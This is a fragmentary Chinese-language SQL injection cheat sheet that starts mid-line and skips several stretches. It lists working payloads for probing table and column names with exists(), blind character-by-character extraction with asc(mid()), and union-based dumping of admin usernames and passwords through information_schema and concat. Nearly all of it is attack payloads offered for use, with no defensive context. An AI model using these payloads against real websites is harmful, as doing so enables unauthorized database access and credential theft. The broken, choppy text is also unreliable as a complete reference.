from 表名) 或 and exists(Select * from 表名)
猜解字段:
and exists(Select 字段名 from 表名)(页面正常存在该字段,不正常不存在该字段)
猜解用户名和密码长度...猜解用户名和密码:
and (select top 1 asc(mid(列名,1,1)) from 表名)>0
如:
and (select top 1 asc(mid(name,1,1)) from...(select top 1 列名 from [表名])>0
如:
获取用户名:
and (select top 1 username from [admin])>0
获取密码:
and (select...id=-1 union select 1,2,3,4,5,6,7……
查库:
版本大于5.0的mysql的information_schema库中存储着mysql的所有数据库和表结构信息,所以可以利用information_schema...,5,6,7,密码段,8,9 from 表名 limit 0,1
在同一个显示位显示不同的字段内容:
and 1=2 Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9